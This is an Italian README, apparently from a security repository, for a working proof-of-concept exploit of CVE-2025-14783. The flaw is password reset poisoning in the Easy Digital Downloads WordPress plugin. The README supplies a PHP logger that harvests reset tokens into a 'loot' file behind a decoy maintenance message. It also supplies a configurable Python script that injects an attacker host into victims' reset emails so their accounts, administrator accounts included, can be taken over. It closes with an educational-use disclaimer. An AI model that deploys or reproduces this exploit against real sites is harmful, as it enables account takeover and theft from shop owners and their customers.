
🧨 CVE-2025-14783: Proof of Concept di Acquisizione dell'Account per Easy Digital Downloads
"La fiducia è il difetto di sicurezza più sfruttabile."
Questo repository contiene una Proof of Concept (PoC) funzionante per CVE-2025-14783, una vulnerabilità critica di Password Reset Poisoning (Avvelenamento del Reset Password) nel plugin Easy Digital Downloads (EDD) per WordPress (versioni <= 3.6.2).
A causa di una mancanza di validazione nel parametro edd_redirect durante il processo di richiesta di reset password, un utente malintenzionato remoto non autenticato può iniettare un dominio malevolo. Ciò fa sì che l'email legittima inviata dal negozio contenga un link di reset che punta al server dell'attaccante, filtrando il token di accesso (key) e permettendo un Account Takeover (ATO) totale, anche di account amministratore.
Il difetto risiede nella funzione che costruisce l'URL di reset all'interno dell'email. Il codice vulnerabile utilizza esc_url_raw() per "sanitizzare" l'input, ma non valida l'host di destinazione.
// Lo sviluppatore ha confidato che esc_url_raw fosse sufficiente... errore fatale.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DI INIEZIONE
),
$message
);
Controllando $_POST['edd_redirect'], controlliamo la base dell'URL generato.
requests (pip install requests)Carica il seguente script PHP (logger.php) sul tuo server malevolo per intercettare i token delle vittime.
<?php
// logger.php - Cattura il token e l'utente
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "Manutenzione del sistema. Riprova più tardi."; // Ingegneria sociale base
}
?>
Modifica lo script exploit.py con i tuoi obiettivi ed eseguilo.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURAZIONE
TARGET_URL = "http://vulnerable-shop.com/" # URL radice del negozio
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Obiettivo: {TARGET_URL}")
print(f"[*] Vittima: {VICTIM_EMAIL}")
print(f"[*] Avvelenamento link con: {ATTACKER_HOST}")
# Payload per iniettare il reindirizzamento
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Inviamo la richiesta all'endpoint principale (o dove EDD ascolta il POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] Successo! Email avvelenata inviata.")
print("[*] Ora attendi che la vittima clicchi sul link nell'email.")
print("[*] Controlla 'loot.txt' sul tuo server per ottenere il token.")
else:
print(f"[-] Fallimento. Codice stato: {r.status_code}")
except Exception as e:
print(f"[!] Errore: {e}")
if __name__ == "__main__":
poison_reset_link()
| Riservatezza | Integrità | Disponibilità |
|---|---|---|
| ALTA 🟥 | ALTA 🟥 | BASSA 🟩 |
Un attaccante riuscito può:
Questo software viene fornito SOLO a scopo educativo e di ricerca sulla sicurezza.
L'autore (ZeroEthical) non è responsabile per l'uso improprio di queste informazioni.
Attaccare obiettivi senza consenso preventivo scritto è illegale e può comportare severe azioni legali.
Usalo a tuo rischio e pericolo in ambienti controllati.
Powered by ZeroEthical
"Non sistemiamo le vulnerabilità, le dimostriamo."